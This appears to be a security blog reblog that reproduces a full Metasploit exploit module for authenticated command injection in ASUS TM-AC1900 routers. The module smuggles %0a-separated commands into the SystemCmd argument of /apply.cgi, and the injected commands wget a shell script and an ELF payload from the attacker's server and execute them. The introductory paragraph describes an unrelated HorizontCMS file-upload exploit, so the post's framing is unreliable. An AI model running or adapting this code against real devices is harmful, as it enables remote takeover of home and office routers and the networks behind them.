Saturday, April 20, 2024

ASUS TM-AC1900 Arbitrary Command Execution Exploit

This Metasploit module exploits an arbitrary file upload vulnerability in HorizontCMS 1.0.0-beta in order to execute arbitrary commands.

The module first attempts to authenticate to HorizontCMS. It then tries to upload a malicious PHP file via an HTTP POST request to /admin/file-manager/fileupload

The server will rename this file to a random string. The module will therefore attempt to change the filename back to the original name via an HTTP POST request to /admin/file-manager/rename. For the php target, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to /storage/file_name

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
   
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
   
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'ASUS TM-AC1900 - Arbitrary Command Execution',
        'Description'    => %q{
          This module exploits a code execution vulnerability within the ASUS
          TM-AC1900 router as an authenicated user. The vulnerability is due to 
          a failure filter out percent encoded newline characters (%0a) within 
          the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses 
          the patch for CVE-2018-9285.
    
        },
        'Author'         =>
          [
            'b1ack0wl' # vuln discovery + exploit developer
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'linux',
        'Arch'           => ARCH_ARMLE,
        'References'     =>
          [
            # CVE which shows that this functionality has been patched before ;)
            ['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
            ['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
          ],
        'Privileged'     => true,
        'Targets'        =>
          [
            # this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
            [ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
              {}
            ]
          ],
        'DisclosureDate' => 'April 18, 2020',
        'DefaultTarget' => 0))
      register_options(
          [
            OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
          ])
    end
   
    def check_login
      begin
        res = send_request_cgi({
          'method'  => 'GET',
          'uri'     => "/Main_Analysis_Content.asp",
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        if res and res.code == 200
          # all good :)
          return res
        else
          fail_with(Failure::NoAccess, 'Invalid password.')
        end
      rescue ::Rex::ConnectionError
          fail_with(Failure::Unreachable, 'Connection failed.')
      end
    end
   
    def on_request_uri(cli, request)
      if request.uri == '/'
        # injected command has been executed
        print_good("Sending bash script...")
        @filename = rand_text_alpha(16)
        bash_script = %Q|
        #!/bin/sh
        wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
        chmod +x /tmp/#{@filename}
        /tmp/#{@filename} &
        |
        send_response(cli, bash_script)
      else
        # bash script has been executed. serve up the ELF file
        exe_payload = generate_payload_exe()
        print_good("Sending ELF file...")
        send_response(cli, exe_payload)
        # clean up
        register_file_for_cleanup("/tmp/index.html")
        register_file_for_cleanup("/tmp/#{@filename}")
      end
    end
   
    def exploit
      # make sure the supplied password is correct
      check_login
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = datastore['LHOST']
      else
       srv_host = datastore['SRVHOST']
      end
      print_status("Exploiting #{target.name}...")
      @lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
      start_service({'Uri' => {'Proc' => Proc.new { 
        |cli, req| on_request_uri(cli, req)
        },
          'Path' => '/'
      }})
      begin
        # store the cmd to be executed
        cmd =  "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
        cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
        res = send_request_cgi({
          'method'        => 'GET',
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          # spaces need to be '+' and not %20, so cheap hack.exe it is.
          # required HTTP args: SystemCmd, action_mode, and current_page
          'uri'           => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+&current_page=Main_Analysis_Content.asp"
        })
        # now trigger it via check_login
        res = check_login
        if res and res.code == 200
          print_status("Waiting up to 10 seconds for the payload to execute...")
          select(nil, nil, nil, 10)
        end
      rescue ::Rex::ConnectionError
        fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
      end
    end
  end
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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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